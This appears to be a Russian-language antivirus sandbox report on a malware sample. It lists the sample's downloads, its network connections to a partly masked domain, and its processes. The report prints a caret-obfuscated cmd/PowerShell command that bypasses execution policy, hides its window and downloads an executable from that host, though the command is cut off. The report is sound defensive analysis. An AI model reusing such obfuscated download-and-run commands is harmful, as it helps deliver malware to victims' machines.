Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://3w###urance.com/files/company/xgjvj87/9xcd2a.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwer^s^h^E^LL.^eXE ^-^E^XeCuTiO^NP^o^lI^CY ^BYPAss^ -NO^p^rof^ILE -WI^n^dOW^STYlE H^I^DD^En ^(Ne^w-^Obj^ECT ^S^YS^TEm.^n^ET.WEb^C^l^i^En^t).D^O^W^NLoAd^fIle('http://3w###urance...
Сетевая активность
Подключается к
- '3w###urance.com':80
TCP
Запросы HTTP GET
- http://3w###urance.com/files/company/XgjVJ87/9xCD2A.exe
UDP
- DNS ASK 3w###urance.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwer^s^h^E^LL.^eXE ^-^E^XeCuTiO^NP^o^lI^CY ^BYPAss^ -NO^p^rof^ILE -WI^n^dOW^STYlE H^I^DD^En ^(Ne^w-^Obj^ECT ^S^YS^TEm.^n^ET.WEb^C^l^i^En^t).D^O^W^NLoAd^fIle('http://3w###urance...' (со скрытым окном)
